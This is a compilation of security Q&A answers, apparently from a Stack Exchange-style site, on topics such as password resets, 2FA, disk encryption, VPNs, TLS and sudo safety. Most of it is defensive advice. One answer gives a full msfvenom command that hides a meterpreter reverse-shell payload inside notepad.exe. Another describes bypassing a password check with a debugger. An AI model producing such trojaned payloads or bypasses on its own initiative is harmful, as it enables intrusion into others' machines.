Pros and cons of this password reset scheme?

User forgets their password and goes to reset it. We present them with
  an obfuscated version of the email address they supplied and at least
  two more based on their recovery address, just at different providers,
  and make them pick the right one

If the emails just differ by the email providers then it might be easy to guess. There is a good chance of picking the institutions domain name or the most popular domain in the region.

Differ the emails in some other ways in addition to this. For example, adding random numbers, institution name, last name, initials after a dot, etc... at the end of the email.

  We send them a reset link to the right address if they picked it or we
  simply tell them we sent them a reset link if they picked the wrong
  one

This is a good step in my opinion.

  When they click the link they are required to fill in a captcha, or a
  code that was included in the email, in addition to their new password

Links in each email will be unique, so you will know which email belongs to these links without a manual code. If the purpose of the code is making sure that he is a human, you can use a ReCaptcha. It is more suitable than a code.

However, I would suggest adding ReCaptcha at the beginning of the process instead of the end. You could add ReCaptcha to the page where the user selects the email.


How do I extract data from response in Burp Suite Intruder?

According to the official documentation you can choose which columns you want to save to the file.

  Results table - This is used to save the results table as a text file. You can choose to save all rows, or only selected rows. You can also select which columns to include, and the column delimiter. This function is useful for exporting the results into a spreadsheet for further analysis, or for saving a single column (such as data mined using the extract grep function) to be used as an input file for subsequent attacks or other tools.

So you should click "Save"->"Results Table" to save the currently visible results table.

To adjust the columns that are visible in the results table (and the ones that will be saved), click "Columns" in the menu and make sure only the columns that you want to export are selected.

Follow the steps:

Step 1:

Step 2:

Step 3: Save in desired format by clicking on save.


Is just PIN and password without any hardware token considered to be 2FA?

Short: No

  Two-factor authentication refers specifically and exclusively to authentication mechanisms where the two authentication elements fall under different categories with respect to "something you have", "something you are", and "something you know".

This only uses "something you know"

Full answer


How to secure JavaScript-enabled login page without TLS

Is it safe to assume that in local networks attackers will not be able to intercept a request for login page from a browser to a device and send a hijacked login page instead with malicious JavaScript?

No, you cannot assume that unless the connection itself is reliably protected (e.g. an inaccessible UTP cable or already authenticated WiFi connection).


Can too much web searching be a danger to a security professional?

Google search data has been used to convict a murder.  But this is an extreme case.  I honestly don't think you have anything to worry about. If you are looking for a job in the US intelligence community then they might look at your email and search history before they higher you.  But in general there are bigger problems on the internet.

* Massive picture of Pedobear *(edit:  too large,  it was removed.)


Are there any Layer 2 Wifi RFC proposals that isolate each connection from each other? (like a switch)

You might be interested in this talk that was given at DEFCON a few years back.

Summary: if you are using WPA2, a separate key is used to encrypt broadcast traffic vs. unicast traffic. So in that sense, connections are isolated from each other. HOWEVER, you're still vulnerable to an insider attack; a malicious client could spoof ARP and intercept traffic from another client.

But that's why you get an access point that allows you to enable client isolation (if you care about that threat enough).


You can use the nearby wireless networks to pinpoint the location of your computer, If they are nearby, or connected to a fairly unique SSID/Network Name, you can most likely find it on the Wigle website.

To ensure that you are able to track your laptop if they should remove teamviewer or your user account, I would remotely install a tool such as Prey.

Edit: daniel Azuelos suggest creating a backup admin account - good idea.


How does Bitlocker only-PIN method work?

It will function the same way as the USB key.
The key that is used to encrypt the data will always be a separate key to the one that the user provides. The user will provide a key which will be used to construct the key-protector key. This is used to decrypt the Volume Master Key (VMK). The VMK is used to decrypt the Full Volume Encryption Key (FVEK), which actually encrypts the data on the disk.
This is done so that if you change your password, you don't have to re-encrypt your entire hard drive contents.
It's explained pretty nicely in this TechNet article:

BitLocker Keys
Any time you deal with encryption, you need to know about keys, and BitLocker is no exception. BitLocker uses an elegant, but somewhat complex, architecture of keys.
The sectors themselves are encrypted using a key called the full-volume encryption key (FVEK). The FVEK, though, is not used by or accessible to users. The FVEK is in turn encrypted with a key called the volume master key (VMK). This level of abstraction gives some unique benefits, but can make the process a bit more difficult to understand. The FVEK is kept as a closely guarded secret because, if it were to be compromised, all of the sectors would need to be re-encrypted. Since that would be a time-consuming operation, it’s one you want to avoid. Instead, the system works with the VMK.
The FVEK (encrypted with the VMK) is stored on the disk itself, as part of the volume metadata. Although the FVEK is stored locally, it is never written to disk unencrypted.
The VMK is also encrypted, or "protected," but by one or more possible key protectors. The default key protector is the TPM. Use of a TPM is discussed in the following section on integrity checking. A recovery password is also created as a key protector, for emergencies. Recovery is also discussed later.


Is virus removal a security risk comparing to reinstalling everything from a clean source?

Right, when you're dealing with devious malware, it's very hard to determine whether you've completely removed it.

Rootkits are pieces of malware that change core OS components (either on disk or in memory) to make normal OS functions return false data to hide the malware and/or its effects. Malware can conceivably modify the boot process to essentially put the entire normal OS in a virtual machine, where it can't see or remove the virus. One example of such a trick is the Blue Pill proof-of-concept.

Modern operating systems are so complex that there are huge amounts of places for bad things to hide. (Look at all the different tabs of the Autoruns utility, and I can think of one or two other ways to launch unwanted programs along with normal things, e.g. COM registrations.)

Basically, if it's at all important that the machine is clean, you should completely reinstall the OS to blow away anywhere the malware can hide. And even then, there are other ingenious persistence methods!


Standard digital signature data representation

CMS can be good if you want to store the signed data with the signature.

If you are signing always the same type of file, some formats can be preferable :

PADeS for pdf files
XADeS for xml files
CADeS for any file

Each format can have different levels, which match with different trust levels.
They can be found on the ETSI site.

If you are using Java, the open-source library SD-DSS is available an do it very well.

sources :

CADeS : https://www.eldos.com/security/articles/7031.php?page=all

ETSI documentation : http://www.etsi.org/standards-search

SD-DSS : https://joinup.ec.europa.eu/software/sd-dss/release/all


Encrypting passwords with a client & server side key

Couple of Attack scenarios i think of

First, If the server is compromised, then the attacker can silently wait(monitor) in the server to collect user side secret key as the requests come in. He can use this client key and the server key to recover plain text passwords.
Second, If the server is compromised the attacker can use various other methods like client-side software updates and push malware to clients which will collect the client secret keys and send them to attacker.The attacker can have the dump of database and use these collected keys to decrypt the dump.

In any of above case, If the server is compromised, the attacker can gain access to plain text passwords.


If I interpret your answer correctly you mean this part of the output:

SSL Certificate:
Version: 2

This version string is not the same as the SSL version. It shows which version of X.509 is used. SSL certificates use X.509. There are three different versions of X.509. The certificate has to claim what version it uses. So you'll find this Version: field in the certificate. The most recent version is 3 and this is the most used version. X.509 version 3 defines extensions. So for example, they are used for certificate chains. See the Wikipedia page on X.509 for some further explanations on the format.


Why does Apple require your passcode when you restart?

The reason for requiring passcode is because the file system encryption key is encrypted using the passcode:

  The content of a file is encrypted with a per-file key, which is wrapped with a class key and stored in a file’s metadata, which is in turn encrypted with the file system key. The class key is protected with the hardware UID and, for some classes, the user’s passcode. (source)

Why can't the file encryption key be stored by the fingerprint processor? Fingerprint cannot be used for for encryption/decryption due to the lossy nature of reading fingerprints.

While with the help of a secure coprocessor like the secure enclave, you can make fingerprint be usable for quick unlock mechanism, the security of such quick unlock depends on the coprocessor being able to discard the encryption key if the user/attacker entered the wrong fingerprint too many times. TouchID for example require entering regular passcode after five failed finger recognition.

If the system use only fingerprint unlock, that means that the coprocessor cannot ever discard the encryption key as that would permanently lock out the device, effectively opening up a trivial denial-of-service attack on the device.


Looking at the original paper, the block sizes can be anything but all blocks except for last have to be of same size.

  3.1 Mode of Operation
  Chaskey uses an n-bit key K to process a message m of arbitrary size into a tag τ of t ≤ n bits.

  For every key K, two subkeys K1, K2 are generated as shown in Algorithm 2.
  The message m is split into ℓ blocks m1, m2, . . . , mℓ of n bits each, except for the lastblock mℓ which may be incomplete.

But according to the author it is specially designed for 128 bit security so my guess is that it is better to use 128 bit keys.


Since you already know you're running Samba, then explaining that running netstat -nap as root on the host will tell you what daemon is listening is somewhat redundant - but worth mentioning for anyone else reading this in future.

  I only ever want the samba share to be able to be seen within my LAN.

You've told us nothing about how your LAN connects to other networks. Assuming that this not part of a larger corporate network, but just a domestic / small office environment, then presumably you have some sort of router. Even very basic internet routers provide the capability to block ports. And it would be very unusual in this context to have anything other than a single masqueraded IP address. In such a case, unless you have explicitly enabled port forwarding on the router (or the router is compromised) the outside world will not be able to connect to your server. Having said that, I would consider it good practice to block the router from connecting to these services on the host itself with IPtables. Although there are gui tools (such as Firestarter) it may be difficult to add a rule to exclude specific hosts from access.

Of course, if my assumptions about your network are different, then the solution is different.


Could the use of Cloudflare's free SSL feature result in loss of availability?

Naomi Wu (aka @RealSexyCyborg on Twitter) is dealing with almost this exact issue right now.  After being deplatformed without recourse by her previous funding site, she moved to a funding site that promised not to censor based on content.  Of course the site has attracted other clientele that is actively trying to avoid censorship, which includes several politically extreme groups and hate groups, and of course adult sites.  The funding site's very existence is now being threatened primarily due to the hate groups using it, and she's likely to be shut out again.

I would recommend minimizing the ways in which your site's name is associated in any way with any site names that are not under your control.  Even the most innocuous of neighboring sites may turn out to be poorly managed, and later taken over by hackers or spammers.  This certainly can blow back on you.


How can one tell if a binary is safe to give sudo permissions for to an untrusted user?

In general, it's impossible to know for sure - even a seemlingly-perfectly-safe program could have vulnerabilities that mean it can be used for arbitrary actions - but here are some things to check for:

Does the program do any of the following?

Reveal the contents of arbitrary files or devices.
Copy, move, write, or delete arbitrary files.
Set / modify arbitrary environment variables (that will be picked up by other privileged processes), or make arbitrary changes to specific ones.
Invoke IOCTLs or otherwise interact with arbitrary devices.
Change ownership or permissions on arbitrary files.
Mount arbitrary file systems, or change mount options on existing ones.
Allow direct access to the memory of the system or of an arbitrary process (such as a debugger).
Allow launching arbitrary programs.

Any program that does any of those is not safe to grant a low-privileged user sudo access to. This rules out, for example, any program with the ability to specify an output file (usually via a -o or -f parameter), process an input file in any way that reveals its contents (even just via a sufficiently-informative error message about the input format being wrong), and the vast majority of script runtimes (including shells).

If you replace arbitrary in those checks with limited or specific, then you've kicked the problem down a step (or several): do any of the things that the program can do lead to such arbitrary happenings, possibly through multiple levels of indirection? For example, if your program allows the user to set a unique environment variable, that will cause a privileged program to read a different file than expected, and that different file will cause the system to allow users to mount an image file of their choice as a file system with the setuid bit respected, then you must not allow untrusted users to run that program.

However, just because a program passes all of these checks still doesn't mean it's actually safe. For example, if it performs certain network actions (such as listening on restricted ports or sending raw packets), it may be unsafe because there might be another program on the network (or on the same machine) assuming that every process capable of doing such things is owned by a trusted user - after all, those actions require root - and you've broken that assumption. Furthermore, the list of bullet points above is just stuff I thought of in a few minutes; there are almost certainly some avenues to privilege escalation that I didn't include.

Finally, as with all security questions, it depends on your threat model.

Is the attacker (untrusted user) local to the machine with physical access, or are they remote? It's extremely difficult to prevent a determined attacker with physical access from getting root, especially if they need to be able to (re)boot the machine without assistance, so consider what risks you're willing to accept.
Is the machine shared among users? Then you need to consider additional cross-user attacks, such as denial-of-service (by consuming excessive resources or rendering the machine unusable).
Do you require non-repudiation (the ability to prove who did something)? Then you need to make sure that you can tie any actions done through sudo to the user who did them.
Do you need to prevent the user from doing some things that even a non-root user usually can do (such as run arbitrary programs in their own user context even if those programs are things like games or cryptominers, or open TCP client connections to arbitrary hosts and ports)? Then you need to additionally consider the means by which you're enforcing this restriction, and prevent running as sudo any programs that might lead to a way for the user to bypass the restriction.

Etc. A truly comprehensive answer is not going to be possible here; it depends on too many things. However, I will say this: it is very hard to ensure an untrusted user, given the ability to run as root any non-trivial program (that was not explicitly designed to be safely run that way), cannot do something unexpected. Even if any one such program doesn't allow anything you find it important to prevent, it might be possible to chain multiple such programs together to achieve the attacker's goal.


How do I make this instruction using msfvenom?

Check out this help.
You need to provide notepad.exe as template (-x) option and tell msfvenom to preserve the original template functions (-k) and inject payload as additional thread. So should be sth like

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -x /tmp/notepad.exe -k LHOST=192.168.10.1 LPORT=45631 -b "\x00" > notepad.exe


Telnet local privilege escalation exploits possible even when telnet is running under a normal user account?

No. I think the described vulnerability existed because the target telnet daemon ran with root privileges and allowed the client to define LD_PRELOAD= value that would be used when running /bin/login as root.

Setting LD_PRELOAD environment variable for a root process allowed the attacker to point to a specific library (arbitrary code) that would be executed as the root user.

The host operating system knows that LD_PRELOAD must be ignored if a setuid() binary is called .


Long Passwords: How are they more secure?

Short Answer

Long, complex passwords make you less susceptible to brute-force attacks. Each time you add either an additional character set (e.g. a-z, A-Z, 0-9, special symbols, etc.) or increase the character length of your password, you're exponentially increasing the total number of possibly correct passwords (i.e. the bits of entropy), and that means it will take longer for a brute force program to guess the right one.

Note that for this to work the password must be both long and complex. The password "123456789" is nine total characters, but will likely be guessed within the first dozen or so attempts.


What does this mismatching SSL certificate hint at?

Is it reasonable to assume that this is an attack, or could this kind
  of issues have natural causes?

It can be an attack or just really badly implemented login portal or something like that.

Does it happen only on facebook or on any site you try to access?

What it is saying is that the SSL certificate presented to you does not match the site you are trying to connect to.

If this happens only on some sites, yes, it looks like an attack.

  If this is an attack, what kind of attack vectors could fit into this
  description?

Probably someone is sniffing your connection. By accepting a fake certificate,you establish a SSL connection to the attacker, not to the facebook server. The attacker MAY redirect the data to and from the facebook and you. Therefore the attacker can intercept your data and communication on facebook.


That's not the end of the connection, it's just an ACK. TLS operates over TCP (and IP), and the TLS records sent as TCP data are acknowledged just like the data on other TCP connections; in some cases this acknowledgement piggybacks on TCP data in the other direction and in some cases it is a packet carrying only ACK and no data. In the ACK-only case wireshark labels it TCP and not the app-level protocol (here TLS) because there is no app-level data (here TLS).

The way a TLS connection is closed normally is by sending an alert record of type close_notify in at least one direction, followed by a normal TCP close which sends and ACKs FIN in both directions using a variable number and sequence of packets depending on the dynamic state and timing; see any reference on TCP. A TLS connection can also be closed seminormally by just doing TCP close without the alert, or abnormally by doing TCP abort with (at least one) RST.

All alerts after the handshake completes are encrypted, so wireshark only decodes as Encrypted Alert (unless you enable wireshark to decrypt by giving it the server private key for a non-PFS RSA key-exchange connection, or the session key for the specific session). In principle several alerts are possible, but in practice if you see an alert after normal data exchange it's extremely likely to be close_notify.


Could PPTP be considered a secure VPN type with idle timeout 0?

In short, no configuration using PPTP should be considered secure.

Firstly, setting a low idle timeout is not a mitigation against a MITM attack. The idle timeout setting just determines how long the server will allow an idle session to remain connected (and setting it to 0 will actually probably disable the timeout entirely in most implementations). It has no direct relationship to latency. What's more, an ARP poisoning attack (to establish MITM) may not look that different from any normal hop along the route anyway, so latency is a difficult side-channel for detecting this kind of man-in-the-middle outside of a fast, predictable local network. The kind of MITM attack required to break PPTP is much simpler than, say SSL, where the stream needs to be de- and then re-encrypted. The attacker simply needs to capture and forward your packets to break your connection.

The trouble for you with PPTP is that even in its "most secure" arrangement it is utterly broken (see Are there any known vulnerabilities in PPTP VPNs when configured properly?). A successful MITM can not only impersonate you to the VPN, but it can decrypt any captured sessions, which will include the passwords or any other credentials that you need to send to the destination.

So the answer to your question is a resounding no, PPTP cannot be considered secure in any configuration.

Since your options seem limited, though, you may decide that PPTP can be secure enough for your use case. Just be aware that if your connection passes through a malicious connection, there are tools available that can automatically sniff and crack any PPTP sessions. It might not be likely, but if you're unlucky, PPTP is so insecure that you needn't even be specifically targetted, you could simply be a target of opportunity. It really is that insecure.

  My VPN client only seems to supported PPTP and LT2P with IPSEC policy.

It seems to me you should really start here. You need a better client.


MitM to intercept SSL/TLS based on network traffic alone?

Since the attacker has no access to a certificate trusted by the victims nor can generate such a certificate it is impossible to mount an active man in the middle attack against TLS connection, provided that the victims properly check the certificates.


Cracking a 6-character alphanumeric password Windows dialog box

You can easily inject characters as if typed either via USB tools or code. Depending on the latency of trying a code and assuming no lock-outs it may not take too long to iterate through every possibility.

A better option may be to attach a debugger, enter any code and step through until you see the check of the input string. Change the logic of the result and then let execution continue - depending on the language and hardware this may be straightforward or painful.

I'm assuming you've tried Google hacking it and user forums in-case it's a widely known default...


Are combined sign in / up pages dangerous, and how to improve them?

But surely this is no different than the way hackers can get check email addresses on a normal sign up page where it says 'this email is already in use'.

Yes, you are right, and your colleague is wrong. The issue would also exist if the sign up page was not on the same page as the sign in page.

Any preventative measures for this issue can be implemented regardless of whether you have two pages or one combined page (for example, you could display and require a captcha when the user enters something in the sign up fields, and obviously in the backend you can rate-limit on sign up, but not on sign in - or both, to also prevent bruteforce attempts on the sign in).

That being said, the design seems rather confusing. It's not clear to me that this is also a sign in page, and I would expect a lot of people to accidentally sign up again because they are unsure on how to use the form correctly.


The cause of the problem is the server sending an unexpected (and invalid) URL in the Location header:

Location: http://my.mit.edu

This URL does not include a path, i.e. instead of being http://host/ it is only http://host. Browsers implicitly work around this problem but sslstrip did not expect it. This results in using http://host (without path) as they key in its internal set where it looks up when to use HTTPS on the server side. The URL it gets from the request is instead http://host/ (with path) and thus the lookup fails and it does not use HTTPS to the server. This causes the server to again issue a redirect response to HTTPS which shows the same wrong URL etc - resulting in the endless redirect you see.

This is not a major issue in in my opinion since  sslstrip was primarily designed as proof of concept to demonstrate a problem instead of being an attack tool. But anyway, the problem can be easily fixed with this patch.


Question of importance of FIPS in security implementations

The most common reason that you need to be FIPS compliant is your company is required to by law or for other compliance reasons. FIPS compliant just means that your encryption has been validated by an authoritative body and there are no inherent flaws. There are also no discovered flaws in a lot of other encryption libraries like bouncycastle.

The reasoning behind FIPS vs no FIPS is no FIPS relies on the fact that no one has found a problem but doesn't really say if someone has looked before. FIPS is proven based on active testing and security standards.

In the end, it doesn't improve your overall security posture but it will make management feel better if it's FIPS.


Digital Forensics and Pentesting: what now?

I pursued a similar path like this:

Linux+ --> Network+ --> Security+ --> CEH --> Currently studying for CISSP

I have found that they all tie together quite nicely and give a very good overview of important aspects of the INFOSEC field.


Non-profit on limited budgets looking for safety with VPN/TOR etc

Per xander and Goblinlord's comments, let's go over some of the technologies you mention.

VPN (virtual private network) solutions are used to create secure network connections over the public Internet. If you have more than one office location, or you have people working remotely from home or on the road, you use a VPN to enable secure communications between those users and your internal network. VPN technology presupposes that you have an internal network at some location, e.g. an intranet with email, file servers, etc. In this day and age of cloud-based services, it is entirely reasonable that a small non-profit might have no internal network resources except users' computers, in which case there might not be an especially good reason to have a VPN. If you have at least some resources on an internal network, a VPN is a must if you want to share those resources with remote users.

Tor, on the other hand, is all about anonymizing your Internet traffic, primarily to prevent people monitoring your Internet connection and seeing what places you go on the Internet, or learning your physical location using IP address geo-mapping.

Note that Tor alone is not enough to guarantee anonymity. You have to enforce very strict rules around application usage or your identity can still possibly be discovered. This is a very important rule because breaking it invalidates the entire purpose behind using Tor.

ISPs connect you to the Internet via dial-up, mobile, satellite, cable, DSL, etc. In most countries, any decent ISP should allow you to use Tor and/or a VPN without interference.

It sounds like you have an office. If so, I recommend a broadband connection from a cable or other provider in your area. Options vary widely by location so it pays to do your research. As a non-profit, you may be able to get discounted service from some providers, so that's worth checking into.

The torguard.net VPN service sounds like a secure proxy rather than a VPN, but I don't know enough about their services to give you an answer on it.

Lastly, per the comments, what are your goals? You say you want to stay safe, but what does that mean to you? None of these technologies will prevent someone on your staff from going to a malicious web site and possibly having their computers hacked. Staying secure means keeping up with operating system patches, browser and browser plugin (Flash) updates, using anti-virus software and most importantly training your staff not to fall victim to things like phishing attacks over email or the Web.


(2FA = Two Factor Authentication, for those just tuning in)

  I was wondering if anyone is using Kerberos for their 2FA solution into their CDE for PCI DSS compliance.

Kerberos is an authentication mechanism most commonly used to grant access based on password credentials.  As such, it doesn't provide 2FA; it provides 1FA.  I have seen Kerberos used as a 1FA in CDE environments.

There are 2FA systems which incorporate Kerberos, such as RedHat's Identity Management server, but in those cases Kerberos is used for "something you know" and glued to "something you have" (Software or Hardware OTP) using LDAP and possibly RADIUS.  And MIT appears to have integrated Duo OTP more directly with Kerberos, at some cost of client support.

So - Kerberos may be part of a valid 2FA solution for your CDE, but in general it only provides one factor, so additional lifting is required.

  Also what does PCI DSS say about SSO once 2FA has occured through Radius Server.

The DSS does not address Single Sign-On per se, however, it does state:

  Multi-factor authentication can be performed either upon
  authentication to the particular network or to the system component.

(DSS 3.2 section 8.3)

I'm not a QSA, but I think one could make a legitimate case that that language could be used to argue that 2FA is not required upon each system component sign-on, as long as it's used for the initial login to the CDE network.  Which is to say that the DSS does not appear to prohibit SSO when it requires 2FA.


Exactly as Geir E. said in the comment, have data minimization in mind. Don't use personal data unless it is explicitly needed for something. The whole AD part can be completely non-personal and there is no reason not to do so.

For user names you can use many alternatives not implying the real name of a person, like employee ID or a derivation of department/team/job scope or anything like that and employee ID.

As employee IDs are more and more often used in practice, doing so will actually simplify the whole employee-management in the end, for most situations.

Employee IDs can be used in AD just are they are widely used in work time counting systems, HR systems, ERP systems and so forth.

You you definitely can classify AD as non-personal, even if you currently use something personal. Renaming AD accounts has minimal implications and does not affect functionality overall except for the part when the user must login with its new ID.

In our company case, since you requested if people have been through this process, we use employee ID for AD, document encryption system login, security system login, ERP. the only name-based thing remaining are the e-mails, which are completely unrelated to AD.


Impairment of security by introduction of ipv6

This is not the intention of NAT, but through NAT the machines are somehow "protected". It is as if the NAT system was also, inherently, a firewall.

  To switch to IPv6 nicely, you have to couple its enabling with some solid, well-thought firewalling rules, which will prevent incoming connections which were not possible in a NAT world, but are now feasible thanks to the magic of IPv6.

Source: https://security.stackexchange.com/a/44068/13212


I have been an avid user of Android Auto for a while now. I have explored all the ins and outs of this software and have done some security research of my own earlier on. Hopefully sharing my findings will help put your mind at ease and allow you to enjoy your rental and Android Auto. =)

What, if anything, are the potential risks of using android auto on a rental car/shared vehicle? Are there any steps that can be taken to minimize any potential risks, in particular the risk of any information from my phone (including identifying information about my phone) being left behind for someone else to find?

According to this website, the sources of which are credible and verifiable, the only thing the software saves from your phone is an ID that is provided through USB. This allows the software to better serve you by knowing exactly which system it needs to start for your particular device. For example; an iPhone will provide an ID and the software will associate that ID with Apple CarPlay, if you're using an Android phone the software will associate your phone's ID with Android Auto.

Also, the website points out that device IDs can be deleted through "a factory reset of the multimedia system". This might be a good way for your to mitigate the risk of losing your phone ID to a bad guy. (if you consider that a risk at all)

One thing though, Is that if you connect to Android Auto, it may ask you if you'd like to pair your phone through Bluetooth. This, unlike the Android Auto software, can pose different security threats. Often times, Bluetooth enabled media devices built into your vehicle will request to download certain information from your phone that you may not feel comfortable sharing with just anyone who rents the car after you. According to the website: "the amount of information your car's Bluetooth system collects varies by Bluetooth module but typically there is storage for hundreds if not thousands of phone numbers." So, in conclusion, your Bluetooth-enabled risk factor depends on the module installed, but as long as you don't allow a Bluetooth connection with your car you should be A-Okay!

Steps that can be taken to minimize potential risks (i.e., phone book and phone identity leakage)

You would be able to erase your phone's identity from the car's software by "a factory reset of the multimedia system". The method by which you do this will depend on the manufacturer, so your best bet will be to do some searching online for how to do that with your particular system.
Make sure to deny any requests that are made to connect via Bluetooth.

And that should be it! I hope this helps.


Which is a safe way to transfer a copy of a sensitive document?

if you can contact the recipient by other means besides email, one easy way to send securely content over email is putting the content (images,documents,etc) into a encrypted container (a zip, 7zip, .rar file) that is protected with a secure and not easily guessable password. Then after you sent the email contact the recipient and provide them with the password.

Is important to mention that this method is relying on the secrecy of the second channel to provide access to the content sent by email, so a direct call and a sms is usually ok.


The threat from a backup LUKS header is that an attacker who obtains a copy of it and the password for one of the key slots can access the volume's data even if you subsequently change that password.  However, they can also do this if they gain access to the encrypted volume itself.

Basically, protect the backup header in the same way you would protect the encrypted volume, and don't worry too much.  This isn't a major attack vector.


A file named .txt, can still have a "dangerous" content type. E.g. Apache allow you to set "Content-Type: text/html" on .txt files (or to what ever on what ever). A file with content-type "text/html" will be rendered as a html page in the browser.


Understanding the order by clause used in SQL Injections

If you look at the syntax of ORDER BY clause for the SELECT statement, it states:

[ORDER BY {col_name | expr | position}
  [ASC | DESC], ...]

So you either specify a columns name (col_name), an expression (expr), or a column position (position), where column positions are integers.

Now if you compare this syntax with your ORDER BY clause:

… order by 7 and '1'

7 and '1' is an expression, consisting of an AND operation with 7 and '1' as operands.

However, the following works as expected:

… order by 7, '1'

Where 7 is a column position and '1' is an expression.


How to protect from ROM-0 via port triggering?

Google suggests two slightly different vulnerabilities when queried about Rom-0, best explicated here:

http://www.dlink.com/it/it/support/support-news/2015/july/14/misfortune-cookie-rompager-vulnerabilitily-allegro-rompager-vulnerability-rom0-athentication-bypass

and here:

https://k0st.wordpress.com/2015/07/05/identifying-and-exploiting-rom-0-vulnerabilities/

In both of these cases there are a number of reasons that antivirus software running on a laptop or desktop in your home network may not be correct in signaling the presence of this issue with your home router. If you are running the latest version of your router's firmware, and it has a publication date of late 2015 or 2016, it is unlikely to be affected by this issue, regardless of whatever is being reported by antivirus software.

Should this vulnerability nevertheless exist in your router, the common method of exploitation involves some attacker on the internet sending a compromising request to your router. This ONLY works if your router is configured to listen to external requests, a configuration feature usually called "remote management." Ensure that this feature is disabled in your router's admin panel. This is the best mitigation for this issue and for many others.

The mitigation suggested by the antivirus software, to stand up port forwarding, is much worse than disabling remote management. Even in the presence of this vulnerability and some inability to disable remote management, the efficacy of port forwarding against attacks like this depends on specific implementation details of the router. It may have been discovered that it was effective for one particular flavor of the vulnerability but that doesn't guarantee it would be effective against another. What port forwarding does do is enable someone outside your network to send traffic into your network, which is almost never a good idea.

The best approach with a router that doesn't have updated firmware and that can't disable remote management is to get another router.

Finally, port triggering is a different feature than port forwarding and cannot be used to mimic port forwarding.

The semantics of the suggested port forwarding rules are that requests from outside your home network arriving on port 80 on the outside of your router should be "sinkholed" or sent to some non-existent destination inside your home network- the implication being that they will be sent inside your network rather than being processed by your router (which could lead to your router being exploited). As above, whether or not this mitigation would work in practice depends on the implementation details of the router. And again, a much more effective mitigation is to disable remote management, which tells your router to not listen at all to requests originating outside your network.

The semantics of port triggering are that requests from inside your home network that go out on a specific port trigger the router to open specific external ports and forward incoming requests on them to the machine inside the network from which the triggered request originated.

Port triggering is not activated by requests arriving at your router from the outside, and the effect of opening external ports and forwarding external requests in your machine inside your network is the opposite of sinkholing.

The one use case for port triggering is gaming, in which a specific kind of outgoing request informs the router that a game is beginning, so incoming traffic associated with the game should be passed along to the gaming machine.


Will an ISP give out network/traffic info upon request?

Many ISP's log DNS requests, so could have a record of what sites you have browsed to. This is mostly for law enforcement requirements, not generally for giving back to customers, as they should be expected to do their own logging if they want it.

That said - if you are concerned, have you checked to see if your mother is logging all DNS requests? Your router might keep logs.

More importantly, if you are going to be embarrassed about where you go online, do what Lighty suggests and protect yourself. Otherwise, I suppose you could do worse than just be prepared to have an interesting conversation with your mother :-)


Store hash password and encrypted data with this password in db?

When hashing the password with passlib make sure to use  passlib.hash.pbkdf2_sha512. You can read more on it here.

Yes this is safe, in fact you actually need to do this to verify the password before trying to decrypt the data.
The point of the IV is that even when the same key and plaintext is re-used, a different ciphertext will be produced. You can look at it a bit like a salt for a password. You just need to make sure it's unique and that when re-encrypting data (if data was modified) you generate a new IV.

Depending on the size of the data you can create a long, complex decryption key which is itself encrypted with AES using the user's password. This is often done as the user might decide to change his password. This would result in having to re-encrypt all data with the new password. Hence you use a decryption key which is itself encrypted with the user's password. In the event a user would decide to change his password, all you would need to do is re-encrypt the key. Now if you are just storing a bit of text this might be overkill, however, should you be storing large amounts of data (megabytes) then you could opt for this strategy.


This is a pretty standard construction, and I see no significant issues with the design. For a low-to-moderate-sensitivity site, this should be fine, and the main thing I'd look for in a higher-security site would be multi-factor authentication being involved in the process.
A few considerations you might have missed:

IMPORTANT: GUIDs/UUIDs are not a great choice for security tokens. They are guaranteed (to extremely high probability) to be unique, but not necessarily to be unpredictable (which is the far more important consideration)! Type 4 UUIDs are generated using a secure PRNG, and those are the most likely type for any modern UUID library, but most libraries do not guarantee that this type will be generated. Even if your library does offer such a guarantee, it's still not the intended use of the tool.

Use the output of a CSPRNG directly, either hex- or base64-encoded (if the latter, make sure it's either a URL-friendly base64 variant or that the token is URL-encoded). 16 bytes (128 bits of entropy, actually slightly more than a type 4 UUID) should be plenty.

Depending on how the third step (entering and submitting the new password) works, and how you do session management in general, there might be a window for a CSRF attack to control the password the server sees. Make sure the process is not vulnerable to CSRF.
Since you're using access to the email address as equivalent to control over the password, you need to make sure that a user's email address can't be changed without the user being fully authenticated (including MFA if relevant).

Similarly, when a email change occurs, you should probably notify the old email address as well as verifying the new one, same as you notify the user when they reset (or, ideally, change) their password.

You probably want to limit how often a user can request a password reset email (perhaps only once every two hours or so). This is primarily to avoid a malicious actor spamming your legitimate users with reset emails they didn't request.
Relatedly to the previous point, you don't want to allow an attacker to constantly replace the user's password reset token in the database, or else the user will never be able to complete the process. You could avoid that specific risk by having multiple valid tokens for a user, but that adds complexity and has its own risks. Better to just not allow requesting a new token for some reasonable window.
You might consider adding a CAPTCHA or similar to the reset form, as further mitigation against the risk of a bad actor submitting an enormous number of requests. Possibly only require the CAPTCHA if the page is getting unusually high traffic.
You don't specify why you're hashing the token in the DB. It's a good idea, both to avoid leaking the tokens if somebody gets read access to the DB (before a token expires), and to avoid a timing attack on the tokens. Make sure to consider both risks if you change the scheme.
The best validity period for the tokens will depend on things like how often they can be requested and how sensitive the account is, but as a general rule I'd keep it under a day. It might occasionally be necessary for the period to be more than a few hours, though; I've seen (temporary) situations where email systems are overloaded, buggy, or poorly integrating with external components such as filters, and emails end up taking hours to arrive. On the other hand, if you consider the highest security more important, it's fine to say that users of such malfunctioning email can cope without password reset functionality for until their email is fixed.
When the user enters their new password (via reset, or change, or creating their first one), make sure that you apply all the usual password quality checks (not too short, not a common password, no part of the user's or site's name, etc.). I recommend checking the submitted password against a large list of passwords known to have been breached, such as from HaveIBeenPwned's "pwned passwords" list.

Multi-Factor Authentication (MFA)
The most common place I'd see a serious mistake in a system like what you've described is when MFA (also known as 2FA) is in use. Access to an email account is not really a second factor - it's just a (hopefully different) password - and the ability to demonstrate access to an email account should NOT allow bypassing MFA. Specifically, I recommend the following (for all accounts where MFA is enabled):

Do not allow logging in without one of the configured MFA approaches used successfully. In other words, if the user is logged in directly after resetting their password - which is a reasonable approach - don't allow the password reset to complete without supplying the other factor(s).
Although not strictly required if the process doesn't directly log the user in, I recommend requiring the MFA verification when resetting the password.
Don't allow removing MFA without proving the user has access to it.
Don't allow an emailed token as an alternative to MFA.


Isn't MongoDB actually storing plaintext passwords?

In a sense, that can be considered correct.

From what I understood from the MongoDB documentation, the db.addUser() expects one to pass in an already hashed password. This is clearly seen from the documentation of the function, where the expected data type of the pwd field is hash.

